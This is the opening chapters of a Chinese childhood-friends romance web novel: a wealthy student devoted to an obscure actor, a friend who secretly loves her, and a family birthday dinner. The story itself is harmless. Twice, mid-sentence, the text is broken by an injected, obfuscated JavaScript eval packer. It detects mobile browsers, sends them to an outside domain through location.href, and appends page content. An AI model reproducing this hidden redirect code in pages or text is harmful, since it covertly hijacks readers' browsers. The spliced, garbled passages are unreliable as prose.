《独占你[青梅竹马]》 1. 第 1 章 《独占你》 文/九岁砚 晋江文学城 2025.8.5. - 九月,正值开学季的时间。 京大校园内人声鼎沸,大一新生们拖着行李在报到处排队领取自己的校卡和宿舍钥匙,各个都在火伞高张下流了不少汗,脸上被晒得红通通一片,但神情皆由内而外透着憧憬,好奇的眼睛四处张望着打量这个全新的校园。 还有不少为了赚学分的大二大三学生穿着红马甲为新生及新生家长引路、搬行李。 学生宿舍的电梯前人头攒动,被堵了个水泄不通。电梯等好一会儿才下到一楼,然后进入一小批人,还留有一大批等在外头,宿舍门口还有新生在源源不断进入,电梯运人的速度比不得来人的速度,等待的队伍随着时间排得越来越长,队尾都排出了宿舍门暴晒在毒辣的日头下,等得人又热又心焦。 住的楼层低或没什么耐心等下去的学生及家长选择放弃电梯,直接咬牙拎着行李箱走楼梯,但人实在太多,饶是走楼梯也是乌泱泱的一群人,走不了太快,缓慢地一层一层往上。 一众向上的人潮中,只有三人分外特殊地提着行李向下艰难逆行。 三人里那名中年男人看起来老实能干,左手提着个28寸行李箱,右手提着个30寸行李箱,两个行李箱的重量绝对不轻,男人手背小臂和脖颈上都因为用力暴起了粗粗的青筋。 另外两人一看也是学生的年纪,容貌极其出众惹眼,衣着本就不菲有型,高挑且纤秾合度的身形更是将衣服衬得又值钱了几分,惹得好些路过的人都侧目多看了几眼。 唯一的那位女生有着一米七的御姐身高,长相却和御姐扯不上丁点关系,只因有一双极具冲击力的灵动清澈大眼睛,第一眼看向她的时候会率先被眼睛吸引,感觉到扑面而来的甜美感。 一开口的音色也纯净明亮,但因郁闷语调微丧,“啊……好累好热啊,好多人,什么时候才能到楼下,我都要被融化了。” 立于她身前半个台阶下的商恪景闻言哼出声笑,扭头睐她眼,“虞千绾你说这话心不虚吗?左手矿泉水右手手机,一个重的都没让你提。” “就是很累啊,这个天气只要出了空调房哪怕什么都不干都没劲,而且还这么多人挤着,下个楼慢吞吞的,感觉下了一个世纪。” 虞千绾抬手挑了挑右肩上的包带,但往哪拨都觉不舒服,更发倦地叹了口气,曲指揉了揉包带下的肩骨,“好痛,早知道不背这个包了,硌人。” 她今日穿的是件吊带裙,背的是个链条包,细链挂在肩上动作间直接与裸露在外的肩膀和锁骨接触摩擦,反反复复压得蹭得有些疼。 商恪景视线跟着她的手部动作移到她右肩,那处皮肤已经被磨红了小片,还被浅浅压出了包链上镂空设计的形状。 他嘴上咕哝句“虞千绾你娇气死得了”,手却当即朝她伸出,径直抓住她包链拽过包熟练背到自己身上。 “你自己不穿衣服直接压在皮肤上试试?本来就很硌人,才不是我娇气。而且我只是吐槽几句而已,又没让你背。” 虞千绾不爽拽住包链,“还我,我自己背。” 商恪景轻啧声,手上立即提稳行李箱,完全不给虞千绾拿回包的机会,“这么较真干嘛,行行行你不娇气,我娇气,我求着给你背包行了吧?” 刚刚前头似乎有人的行李散掉了下来,所以阻碍了本就不太宽敞的楼梯,大家走起来都很慢,这会儿那人一脸窘迫地收拾好了东西,大家走的速度也就快些。 商恪景趁这时机快步向前,成功分开了虞千绾的手和包链间的距离。 - 终于出了宿舍打开车门的那秒,扑面冷风袭来,虞千绾舒服的“啊”了声,快速俯身进到车内,整张脸直对着空调缓解浑身快要燃起来的热温。 虞千绾是京大商学院的大四生,因为大四没什么课程,主要忙着毕业论文的事,后续来学校的时间都少之又少更别提住宿舍,所以她趁着开学季学校允许所有人进女生宿舍叫上了自家司机和商恪景来帮忙把大学这几年的东西搬走,否则过了这段时间宿管就不会放男性进来了。 车门“唰”地被人从外拉开,商恪景迅速钻入,“啪”地关上车门,身形径直朝虞千绾身边凑,“让我也吹吹,热死我了。” “啊,我也热。”虞千绾不想让,皱眉推他,“你那边也有空调,别来抢我的。” “我就抢你的,虞千绾你有点良心没?刚用完就丢啊。” 虞千绾看着商恪景额前被汗水微微打湿的几缕碎发以及额际流淌着的汗珠,用人嘴软的闭了嘴,没再同他习惯性斗嘴,身子朝侧挪了挪让他正对着空调风口。 他们俩的爸妈是多年挚友,早在他俩还没出生时就认识了,所以他俩在还没记忆的时候就认识对方了,关系很铁不错,但也很爱呛对方。 譬如当下,商恪景见虞千绾真不回怼他了倒不适应,手指在胸口衣领处拽了拽灌入些冷风,故作不经意斜目瞄了她一眼,坐起些身子又开始自寻话题,“你也没在学校宿舍住过几次啊,怎么有这么多东西?” 京大不强制要求学生必须住在校内,只要按要求提交一份申请就可以自由去校外居住,但京市寸土寸金,大多学生都负担不起租房的费用选择住在学生宿舍。 商恪景和虞千绾不同,俩人家世优渥,是土生土长的京市人,家里的产业更是从祖上一代代传下来的,家底非常丰厚,只要他们不赌博不恣意挥霍,钱财几辈子都花不完。在他们的世界里,从来不用过多考虑钱的问题,所以他们入学当天就根据京大规章制度跟辅导员交了申请表在校外居住。 不过校外最近的小区距离校门口也有20分钟左右的脚程,时而两节课之间隔得时间短,他们懒得再往返,所以学校宿舍的床位他们也一直买着以便这种时候有个地方待,但仅限于白日短暂小憩,他们晚上从没在宿舍留住过,因而商恪景想不明白虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223401|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千绾哪来的这么多东西。 他宿舍里就一条手机充电线和两套备用的换洗衣物以及纸巾毛巾这种日用品,随便一个袋子就给揣走了。 她倒好,足足四个大行李箱。 虞千绾掰着手指头,挨个算给他听,“有一个行李箱里面是书。学校每次发书的时候都会有些根本用不着的书,有些虽然能用到但频率低到约等于不用,一发发那么多本,又厚又沉的根本抱不动,所以我当时把那些暂时用不着的放到了宿舍里,用得上的先带回家,那会儿想着后面陆陆续续从宿舍带回来,几本几本的带每次轻松点,哪知道根本没回过几次宿舍,回去了也没想起来带,一直拖到今天。” “还有一箱里面放的是留在宿舍备用的衣服和化妆品。” 这些商恪景都能理解,“另外两个行李箱呢?” 虞千绾表情瞬间波动,眉眼和唇角一起上翘,双手忽地交握在身前小幅度晃了晃,一双大眼睛粲然笑到弯弯,声音都微微夹起些,“那当然是我家常桦学长的各种周边啦~” 略拖的雀跃尾调透着女生的娇羞。 商恪景看到虞千绾突然造作的那刻就后悔了,自己就不该问,她只有提到那人的时候才会有这种神情,他一秒别开了视线看向窗外,唇齿轻启,嘴比理智快地吐出声嫌弃的“戚……” 虞千绾倏地变脸恢复本性,一巴掌拍上商恪景后背,“啧!商恪景你戚什么戚?你是不是羡慕嫉妒恨。” 商恪景撇了撇嘴,依旧看着窗外没收回视线。 默了几秒,他没忍住又轻声咕哝句:“你家什么你家?你俩又没在一起,自恋。” “你不懂娱乐圈,艺人只要被曝光恋情事业就会受到影响,尤其学长这种才进娱乐圈没多久,正是闯荡事业的阶段,等到他有了代表作成了实力派演员肯定会跟我在一起的,他和我说过,我们交往只是时间长短问题。” “他一辈子成不了实力派演员,你就等他一辈子?” “呀!”虞千绾当即横他一眼,“你快闭嘴!不许乌鸦嘴。要是以后我真因为这样没得到甜甜的爱情我就找你算账。” 商恪景嗤笑声:“与其跟我算账,你还不如算算跟你那学长的账。且不论你俩没在一起,就算在一起,也不该你一个女孩子成天给他花钱。” 怕她生气更怕她伤心,商恪景凡跟虞千绾聊到常桦总会留一线,不会将话说得太重,但又不想她越陷越深总忍不住去提,每每说出口又懊悔,声音越说越轻,“虞千绾,我跟你说认真的,你想想你这些年为了他买了多少没用的东西。” “我喜欢他我愿意给他花这个钱呀,又不是他让我买的,而且他也让我别买,但我想支持他的工作,是我自己心甘情愿的。” 这样的对话在两人间如同鬼打墙般重复过许多次,最终总会以商恪景不忍将话说得太狠而伤到虞千绾和他们之间的友情告终。 今日亦然,他抿了抿唇垂眸,不明情绪地寡淡应了句:“行。” 2. 第 2 章 常桦是高虞千绾商恪景两级的学长,三人恰也就读于同一所高中。 他们初见是在高三那年,学校举办优秀毕业生回校宣讲活动,常桦作为考上京大的优秀毕业生,出场就吸引了不少人的注意力。 京大本就是国内TOP1的大学,名校光环强大。加之点偶像剧的荼毒,在青春懵懂的学生时代,学长这一身份也莫名被增添上一圈滤镜,当然,得是长相帅气的学长,穿着白衬衫且外貌温和儒雅的常桦完全符合偶像剧和小说里描写的那类清隽学长。 长相出众气质干净成绩又好为人还温柔,对那个年纪段的女生而言几乎是绝杀,此后好一阵,校内还常有人讨论常桦。 但在彼时,虞千绾对常桦尚没过多情感,就觉得这学长长得还行,声音也挺好听的,但她身边长得帅的人不少,常桦在其中算不得多出众。而且那日本是周末休息日,却被学校强制要求返校来看这种活动,她完全没那耐心,只觉台上一个个人都很是啰嗦,也不知这些人哪来的那么多话,她只想回家。 常桦演讲的PPT最后一页是自己的微信二维码,说想考京大的学弟学妹可以扫码加他,高考完报考志愿的时候也可以咨询他有关专业或院校的问题,他一定知无不言。 虞千绾本没打算加,已经在台下开小差跟商恪景小声讨论着结束后去吃什么了,但通过话筒传出的男声骤停,周遭猛地安静许多。 对身处于校园内的学生而言,这种氛围是很恐怖的。就好似是上课做小动作一抬头发现老师不知什么时候站到了自己面前皮笑肉不笑看着自己,发自学生本能的恐慌感陡然涌上,虞千绾当即抬头看去,这才发现白板上的二维码。 直到这一刻,虞千绾其实都没有加常桦微信的念头,她身边念名校的熟人太多太多,完全不指望向这么个没什么交集的学长求教。 偏在这刹,常桦看了过来,虞千绾的视线好死不死与他隔空对上,似乎是周围所有人都在举着手机扫码,显得她跟商恪景分外特殊,所以吸引了常桦的注意力。 至今,虞千绾也不知那天常桦究竟是怎么想,但她当下是那么认为的——自己开小差被抓到了。虽说只是学长而已不是老师,也不是多重要的课程,但一贯比较遵守礼貌和规定的虞千绾自觉被人逮到有些尴尬,赶忙就举起手机跟随周围同学的动作扫描白板上的二维码。 虞千绾本以为就是个互进好友栏躺尸的随手举措,哪知后来的他们会通过朋友圈发现共同爱好,逐渐对对方感兴趣,后又恰在共友的生日场遇到,有了线下对话的他们再回归线上交流也渐渐展开。 先是在朋友圈里互相点赞,再是时不时有个评论会在某条朋友圈下简洁聊几句,后来不知某天某个契机,他们开始了私聊,互寄礼物、互相鼓励…… 看不见摸不着的感情就这么一点点滋生。 - 这几年网络飞速发展,不少人都开始接触自媒体,想着万一呢,万一自己是爆火的其中之一,往后接一条广告的钱都够按部就班打工赚一辈子了。 京大学生做博主有着天然的噱头和流量——京大的名号,好些学生及时抓住京大高材生的身份尝试做自媒体,做到头部很难,但靠着自媒体养活自己的学生不在少数,常桦就是其中之一。 他自身外貌条件不差,更新又比较勤,再加上那会儿的自媒体行业还没现在这么卷这么泛滥,算是天时地利人和,常桦的自媒体号小爆了一阵。 就在那期间,有好几家经纪公司找了上来想跟他签约,不过其中规模较大的都是孵化网红的公司,只有两家是正儿八经对标娱乐圈培养艺人的经纪公司,但规模不太大。常桦依旧毅然决然选择了成为艺人,自此踏上了演员的道路。 【呵,就他?他算个屁的演员,说他十八线糊咖都是给他抬咖。】 商恪景双手环胸懒洋洋靠在墙边听着虞千绾的碎碎念心想。 他敢保证,去街上随便拉一百个人,一百个人都不认识常桦,要是说常桦的自媒体账号名保不齐还有几个知道的,常桦在娱乐圈就是糊成这样。 还说什么狗屁不能谈恋爱,连关注度都没多少的艺人还有狗仔蹲守偷拍?也就她这个陷在爱情里的傻子深信不疑。 好多次看着虞千绾谈及常桦时的笑颜和春心萌动的少女姿态,商恪景眼睛和心脏都被刺得生疼,喉咙和胸口那片闷涩堵塞地说不出一句话来。 但有那么几次,他又希望是自己把人想得太坏,如果常桦是真喜欢虞千绾,他们未来真能在一起,那她定然会很高兴吧。可又总觉常桦配不上她,若真在一起更是委屈了她,奈何他只是她的朋友、发小,一个在感情里没有资格没有身份干涉的路人甲。 虞千绾不知商恪景这些心思,正美滋滋蹲在地上把刚从学校带回来的装周边的那两个行李箱都打开,每拿起一个就要向商恪景全方位展示一次,商恪景人机般面无表情夸赞“帅”“好看”“英俊”。 虞千绾感到敷衍嗔来一眼,商恪景神情才丰富了些,话也多说了几个字,但也没好到哪去,“嗯嗯,能火能火。” 常桦签约的经纪公司虽然不大,但小作坊也有小作坊的好,譬如说公司氛围不错,负责常桦的经纪人竭力为他争取资源,不会发生签约中大型经纪公司后没人管也没有资源近乎雪藏的情况。 不过公司实力和常桦的咖位摆在那,很难弄到多好的资源,撑死也就拍拍小广告,或给较为小众的品牌做代言宣传,抑或是凭借不错的外貌条件面上某些综艺里镜头不多的NPC。加之常桦原先是个网红,他持续还在经营自媒体账号,粉丝量有个几十万,所以时而会有些游乐场邀请他去,薪资不菲还有曝光度,以及“一日店长”这类活动。 虞千绾这两大箱的周边就是从常桦唯一的一次品牌代言活动里攒出来的,那是个洗发水代言,购买官方规定的套餐可以获得代言人不同周边。 知道常桦的代言来之不易,虞千绾想着多买点帮他冲冲销量,这样或许能让品牌方认为常桦是个很有商业价值的艺人,以后能再跟他续约,也或许能让更多的品牌方注意到他。 但洗发水这种日常品消耗起来实在太慢,搬送也费劲,于是虞千绾跟室友沟通后直接把其中一批洗发水的地址填了学校地址免费送她们用,她们送别人也行,只要把官方附赠的周边留给她就好。 虞千绾期间还从学校带过好多次周边,但量实在太大,她拥有了太多一模一样的也没那么珍惜,好几次都想不起来拿,最终的结局跟书本一样都没带完,所以有了面前的两个大行李箱。 虞千绾家里有个专门的空房间,里头放着的全是和常桦有关的物什,商恪景将其称之为——“垃圾”。 以常桦的咖位很难有什么单人活动,他能有活动都不错了,大多线下活动还都是网红身份带给他的,基本都是和好几个网红一同参加的活动,所以活动现场的海报都是几个网红一起拍摄的。 凡有常桦的活动,虞千绾都是毫不手软去为他消费的。面对她这种富婆,活动现场的服务人员一般都不会拒绝她想多要几张海报的简单请求。 所以虞千绾攒了许多许多常桦的活动海报,回来后细心裁剪成只留下有常桦的部分归纳放置起来。 对虞千绾这种心有记挂的人来说,这些纸张每一份都有特别的含义。 但看在商恪景眼里就是沓废纸,不仅是垃圾,而且还是很占地方很碍眼、毫无用处的垃圾,尤其见虞千绾跟对宝贝似的姿态,越看越心烦意乱。他深吸一口气,倚靠着的身形直起,左脚在地上不轻不重跺了下似是在窝囊地发泄着什么,“走了,后天我家老 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商恪景眉头微蹙,有两秒的动摇,但触目可及之处都是常桦那张讨人厌的脸,商恪景感觉自己再在这待下去要被憋疯,可又没法放弃跟她出去吃饭的机会。 万千思绪在嗓间拉扯,最终吐出句:“改天。这些天我爸妈他们在商量给爷爷过生的事,我哥今天也回家,我想着回去一起出出主意。” 商爷爷的生日的确更重要,虞千绾瞬间理解地摆了摆手,“行,那你回去吧,后面想吃什么你再发给我,请客活动长期有效。” 虞千绾刚刚正收拾到一个亚克力摇摇乐,上面是常桦的大头照,跟商恪景讲话的时候摇摇乐也一直拿在手上,随着她摆手的动作,摇摇乐上的常桦脑袋也左右摇晃着。 该死的脑袋在他面前一个劲地晃,嘴脸极其得意。 商恪景看得一股无名火,不甘心就这么憋着气离开,他在转身要走之际倏地从虞千绾手里拿过常桦的摇摇乐。 这个摇摇乐是买到一定金额的洗发水送的,虞千绾有一大堆,所以也没那么宝贝,只是单纯因为跟常桦有关而想留着,否则商恪景刚拿到手估计就被她夺回来了。 “你干嘛?也被学长的盛世美颜迷住了?自惭形秽?想要近距离拜服拜服?” 虞千绾笑眯眯说着让商恪景觉得恶心的话,他也确实随心做了个呕吐的姿势。 虞千绾声调陡扬,“商恪景!” “走了!” 商恪景一个巧妙走位就朝外溜,肩膀还下意识往侧后方撤了下,生怕虞千绾一个巴掌抽过来。 她那手瞧起来不大,打人是真疼。 从小被打到大的商恪景深有体会,不过这也是某种亲近的表现,毕竟这么多年,他只见过虞千绾对他这样,何尝不是一种特殊呢。 商恪景边往门口去边背对着虞千绾举起手上的摇摇乐晃了晃,“你那那么多一样的,这个我就拿走了,继续拜服拜服。” 最后四个字,他咬字的调调很是微妙,总归不可能是真正的拜服。 虞千绾也懒得跟他细究。 家门打开又“啪”地从外被关上,周遭安静下来,虞千绾抬指揉了揉耳垂,反倒有些不适应这突然的寂寥。思忖须臾,她拿起手机打开音乐,边听歌边跟着哼边继续收拾东西。 刚从虞千绾所住的8栋走出的商恪景眼睛一眯,隔空对准几米外的垃圾桶。 右手抬起,指尖捏着的摇摇乐已然在不知何时有了裂痕,还被磕坏了好几个角。 腕间稍用巧劲,一道完美的抛物线自他手中丢出。 “啪——” 完美。 摇摇乐的头在准确无误砸到垃圾桶边缘的瞬间跟身子断开,无声带给商恪景的得意仿佛也被一同折断。 垃圾就该待在垃圾桶里。 3. 第 3 章 常桦是在大三那年签约经纪公司进的娱乐圈,彼时虞千绾大一,课业虽忙但不似高中那般从早到晚的,且课余时间相对自由不受拘束,所以只要闲时,虞千绾的时间基本都用在常桦身上——参加他的线下活动,线上持续帮他做数据,帮他打理粉丝群、超话,帮他维系粉丝。 因为常桦的线下活动很少,所以这些年来凡有这样的机会虞千绾都很珍惜。一方面是想看他,多一点和他的记忆;另方面是怕现场没什么他的粉丝,他看不到自己的应援会伤心。 但免不得有些时候,常桦的活动时间会和虞千绾的课程撞上,虞千绾没法提前到达活动现场。饶是如此,只要活动还有一秒没结束、常桦还在现场没离开,她也必定会奔赴而去。 这么持续两年多的时间,虞千绾一场都没落过。 而就在三天后,常桦又有线下的活动,虞千绾窝在沙发里笑吟吟反复确认着自己的高铁票时间信息。 常桦这次参加的活动在距离京市高铁行程仅半小时不到的隔壁市,那儿是常桦的老家,当地一个环保组织将要开展一次环保主题宣传活动,便请了些有一定社会影响力的网红参与共同宣传。 不仅如此,环保组织还在公众号上开放了志愿者报名渠道,愿意为了环保出力的成年人都可以自行报名。 环保活动听起来高大上,其实就是去一座山上捡垃圾,然后全程有人在旁边拍摄素材,最终剪辑出宣传片放出来。 所以压根没什么真正的志愿者报名,何况天气还这么热,最后报名的基本都是网红的粉丝。 网红粉丝的黏性不比娱乐圈里的艺人,做数据的都是少数,更别提愿意大夏天出来爬山捡垃圾的了,虞千绾在粉丝群里鼓舞了好一阵也没拉来几个人。 于是,她选择了最好用最不费周折的惯用法子——给钱找托。 自打第一次去常桦的线下活动发现台下都是别的网红的应援,而他的支持者寥寥后,虞千绾就既心疼又为他发愁。 常桦的粉丝数并不少,但他骨子里有种清高的傲气,不太会维护大哥大姐,而且他直播频率很低,大多都是发视频,靠橱窗和广告赚钱。 虞千绾特意去粉丝黏度比较高的网红直播间和粉丝群学习了好些天,然后把记满了知识点的小本本交给常桦。她本是好心,想着艺人身份的常桦根本没有曝光度,还不如靠着网红打起些名号,保不齐能接到些短剧,一步步历练,这样也能为日后接到长剧打好演技的基础,他毕竟没学过表演不是专业的演员,理论和实践总得占一个。 结果被常桦一句“我是艺人不是网红”堵了回来。 常桦说这话时的表情很平淡,但那双眼透着说不清道不明的晦暗和敏感,极其陌生的模样。 虞千绾愣了下,默默收回了她费了很多时间和精力写满的小本本,也一同吞下了她原本浓烈的分享欲。 也是,每个人都有自己想要走的路,这样才能成就不同的人生,她不该以她的想法去想当然地认为常桦也要这么做。 虞千绾这么安慰自己,自此没再跟常桦提过维系粉丝关系的话题,因为她深切感觉到常桦认为这是一种自降身价,他认为演员就是要拿作品说话,只要有好作品,自然能吸引来和他同频的粉丝。 这样的念头没问题,虞千绾也赞同,但前提是他得有戏拍,得有曝光度让观众发现他,得有经济来源支撑他一直在这条路坚持下去。 显然,常桦后来也意识到了演员起步的艰难,所以他开始接一些网红的邀约,但依旧不擅于笼络粉丝。 不过随着时间,也有了一些很喜欢他的粉丝们,但比起同体量的网红少得不是一星半点。 不想常桦发现台下没什么支持者失望,也不想活动方发现常桦的商业价值很低日后不再用他,虞千绾便开始自费请人来活动现场装常桦的粉丝。 这种行为在娱乐圈很常见,经常有粉丝为了让自家偶像看起来很火,会请些托去机场装粉接机,虞千绾也是偶然发现学到的这招。 奈何这次的线下活动不是简单的举着应援喊几句就行,还得爬山还得劳动捡垃圾。虞千绾之前合作过的那些托嫌累,有钱都不想参加,情愿去些轻松的,她加了几次钱才终于凑来些人。 确定好这些,虞千绾才终于安心。 这样的话,她后天参加完商爷爷的生日美美睡一觉起来就能坐高铁去隔壁市跟常桦相处大半天了。 - 两日后,商恪景爷爷商宏川七十六岁生日。 老人家不在意那些明面场上的假客套,也不是很在意生日这种日子,认为无需大办,于是只一切从简地邀了作为世交的虞家在一块吃顿饭聊聊天。 两家的老人家年纪渐长后就商量着一起搬去了远离市区且好风景的僻静处养老,早在小辈们乘车赶去的途中,四位老人家就已经坐在一块闲聊了。 虞千绾和商恪景都是家里的第二个孩子,上面各有个姐姐和哥哥。 虞千绾的姐姐虞昭音比她大了足足十岁,已然接手了家业在集团里说一不二,眼下31岁的年纪虽然单身未婚但已有个3岁的儿子了。对有钱人来说,这样最好,有了后代继承家业,还不用担心遇人不淑被分走一半财产。 商恪景的哥哥商知珩28岁,也接手了自家集团,未婚未育,身边仿佛有着禁止异性靠近的铜墙铁壁,万年如一日的保持单身,满脑子只知道工作,为人成熟敦肃,饶是平声讲话都有着无形中的压迫感。 虞千绾和商恪景就因为上头有能耐超大超级热爱工作且稳重的哥姐撑着,打小压力便没那么大,没像哥哥姐姐那般自小就被反复灌输是集团未来的话,也没被迫上过很多兴趣班。 恰他们也不是很有事业心的人,别说影视剧里狗血的那种争夺总裁之位的桥段了,他们甚至想要跪在地上求哥哥姐姐干到老,然后直接把位置传给他们的孩子,这样他们就能享受着花不完的钱和时间欢欢乐乐过完一生了。 在孩子没长大的时候,还能当做佣人使唤。 譬如此刻,去往老人家住处的车程中—— 虞昭音腿上架着笔记本电脑,连这点时间都不放过的争分夺秒忙着工作。 车内忽而漫开清冽的清新橘子味,沁人心脾。 虞昭音闻着闻着突然感觉有些口渴,眼皮都没抬一下,细长的指尖持续快速地敲击着键盘,左腿朝侧抵了下轻碰虞千绾,“喂我一瓣。” 嘴里正含着最后一口橘肉的虞千绾咀嚼动作一顿,她刚剥完橘子擦干净手在用手机跟常桦聊天。眼珠一转,嗓音一夹,“呀~我们最最可爱的小橙子宝宝,你帮小姨剥个橘子喂给妈妈吃好不好呀?妈妈工作辛苦啦。” 虞景澄扬着稚气的清脆声活泼回:“好呀!小姨你放心玩手机吧!” 小家伙扭头抓起橘子就开始低头认真剥。 “哎呀,我们小橙子真乖,么么么~” “虞千绾。” 虞昭音依旧头都没抬,但这么一道略沉的声血脉压制太强,窝在车边的虞千绾一秒摁灭手机屏幕弹坐起身,“嗻!我最最亲爱的姐姐,您的忠实仆人非常荣幸为您服务。” 虞昭音没搭理她的嘴贫。 但是同样狗腿谄媚且嘴甜的人,一个家里有俩。 虞千绾刚倾身摸了摸虞景澄脑袋准备从他手里拿过橘子,虞景澄却先一步撅起小嘴亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223403|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下她的手背,有样学样,“喔~我最最亲爱的小姨,你新做的美甲好漂漂,不要弄脏了哦,还是由我这个小小男子汉来为你们服务吧!” 虞千绾瞬间笑得乐不可支,身形前仰后合的,咯咯笑出了鹅叫。 虞千绾爸妈听到也是扑哧笑出了声。 就连虞昭音都没绷住掀眸看过去,停下了一直敲击着键盘的手指,被尬笑了地摇着头。 “哎呀,我命真好,不仅有姐姐疼,还有外甥疼。” 虞千绾瞬间又倒回了座位上,身子一歪赖在虞昭音身侧贴着。 虞昭音哼笑声,那张在电脑屏幕反光下格外清冷的脸终于有了几分柔软,“你就逮着我一人薅。” “没呀,之前不是先薅的爸妈嘛。” 虞千绾理直气壮的话一出,全车内又是一番此起彼伏的混合笑声。 - 商家庭院里,商家六口人和虞家老两口一起闲聊着等待虞千绾一行人的到来。 频频往院门口看去的商恪景最先发现她们的到来,当即将手机揣进兜里大步往门口去,“来了,我去接一下。” 挽在一块的老姊妹俩相视一笑,商恪景奶奶倪莹琇掩唇跟虞千绾奶奶蔚华窃窃私语:“瞧瞧他,平常没见这么知礼懂事,绾绾一来还知道去迎人了。刚刚那眼睛就跟黏在门口了似的,巴巴盼着。” 蔚华笑到眼睛眯起,“就对绾绾特殊,好!他俩要真能成,我是对恪景放一万个心。” “可不嘛,我也喜欢绾绾喜欢得紧。” “哎,咱们说没用呀,不知道他们自己开窍没。” “不然晚上点一下?保不齐他们已经在一起了呢,只是不好意思主动提?反正我是没见过像他们关系这么好的朋友,也不信他们只是朋友,哪有两个异性朋友几乎天天都待在一起也不干正事,就你戳一下我捣一下的还挺乐在其中?要说没点旁的心思我是绝对不信的。” “行啊,说不准他们俩中间就差层窗户纸了,但可得委婉些啊,咱们毕竟不知道真实情况什么样的,可别好心办坏事了。” “那当然。” 商知珩跟在两位奶奶身后听着她们逐渐因为激动放大的声调无奈摇了摇头。 两家人凑齐,长辈们瞬间热络起来,你一言我一语畅聊着,笑意高扬着走在前面,几个小辈走在最后。 商知珩趁机将商恪景朝一旁拉了拉,低声提醒:“晚上注意点。” 商恪景不明所以,“什么?” “就——” 商知珩话语一顿,视线忽而侧过远眺。 商恪景顺着商知珩视线看去,定格在虞千绾的侧脸上,她也不知道在跟虞昭音聊什么,笑得格外灿烂。只一眼,商恪景情不自禁跟着也笑了笑。 “你当做秘密的暗恋对象在长辈们眼里是明恋。” 耳畔突然响起商知珩继续的话,商恪景一震,视线猛地又转了回来,“什——” 声调不自觉拔高,他赶忙止住抑下,瞳孔慌乱轻颤,“……什么?!他们怎么还这么觉得?我之前不是都否认了吗?” 商知珩手动转过商恪景脑袋,让他继续看着虞千绾的方向,“你一看到她表情就不对劲,你觉得单靠几句话否认有人信吗?” “哪有……” 商恪景习惯了暗恋,虽然曾经被哥哥发现了跟哥哥聊过,但大多时候还是独自一人承受,冷不丁被捅破,喜欢的人还就在不远处,商恪景有些别扭,视线躲闪着不敢再看虞千绾,耳根烧起些红泽。 “嗯,没有,只是耳朵发烧了。” “…………” 商恪景头垂得更低了,耳朵也烧得更厉害。 4. 第 4 章 成年人的世界多有自己的忙碌,作为家中顶梁柱的虞昭音和商知珩自不用说,他们大多时间都放在工作上,不仅得坐在办公室里处理一堆一堆又一堆的文件,还得满世界跑着出差应酬,少有空闲的时候长辈们体谅他们的辛苦也不忍心喊他们出来,想让他们多休息休息。 虞千绾和商恪景虽然比起姐姐哥哥没个正形、玩心较重,但都是在课余的自由闲暇时间,课业一点没耽误过,否则也不可能考上京大。 两家父母正值腿脚康健精力尚佳且悠闲时间多的中年,经常到处旅游,在天气适宜风景优美的外地一待就是几个月,尤其盛夏和寒冬。 所以两家人虽然时常联系时常见面,但很少很少有今日这般齐整的情况。大家都很珍惜今天的团聚时光,正好眼下时间尚早,距离晚餐点还有近一个小时,便趁这空隙凑在一块多聊聊天,屋内充斥着欢声笑语。 长辈们的话题跳转的很神奇,总是聊着聊着,也不知道怎么就岔到了小辈的感情生活上去。 虞昭音直接跳过这个步骤有了孩子,在这方面遥遥领先。虞千绾和商恪景还在读书的年纪,也不是长辈们眼里的重点对象,火力毫无疑问地集中在28岁的商知珩身上。这也是每次长辈碰面不可避免、一定会聊到的话题。 一向沉稳知礼遵守长辈话的商知珩偏偏在这事上尤其固执,怎么都说不通。 面对着长辈们近乎如炮弹般持续轰出的极具目的性的话,他却依旧面不改色地端着瓷杯,小口小口啜着茶水,要么微笑要么点头要么嗯,长辈们说什么他都一副好脾气的姿态应下,但私下行动是一点都没有的。 这个话题持续有两年多了,长辈们已然摸透商知珩当面一套背地一套的脾性,拿他没辙但依旧习惯性地说了一通,自知无果,于是话题很丝滑地就转到了年纪小些的虞千绾身上。 大四的年纪,最常被问的话题就是对未来的规划——毕业了准备做什么?是去国外继续读研深造呢,还是直接进自家集团工作?如果出国读研打算去什么学校,读什么专业。如果进自家集团,负责哪方面工作? 想想就让人感到头痛的一系列连环问,就在两个月前,虞千绾还很怵这个话题,既不想被人问,自己也不想面对,但现在,她可以坦然自若地应答。 转折发生在不久前的暑假,虞千绾去虞昭音家里玩的时候正好刷短视频刷到了自家公司嘉澍集团的官方号,她就顺手把视频递给虞昭音看,笑说这段视频就差没把“我在打广告”几个字写在视频里了,广告硬得要命,没买过品牌的客户一刷到就径直滑走,根本不会多看,更不会下单。会来购买的大多还是那批老客户,宣传效果一般,引不到太多新流。 虞昭音何尝不知当今社会网络宣传的重要性,运营部也一直在跟网络热点发视频吸引关注,但官号的目的毕竟是宣传产品,娱乐视频只能占少数。定位、受众不同,点赞量和评论量自不能与放松短视频相提并论。官号的视频热度不高才是常态,只有代言人广告和免费的抽奖活动这类才会有高热度和评论。 虞千绾却伸出食指在虞昭音面前晃了晃,说自己有一计或许能取得不错的点击量。虞昭音追问,虞千绾却神秘兮兮不说,硬要虞昭音满足她的要求,她才继续说。 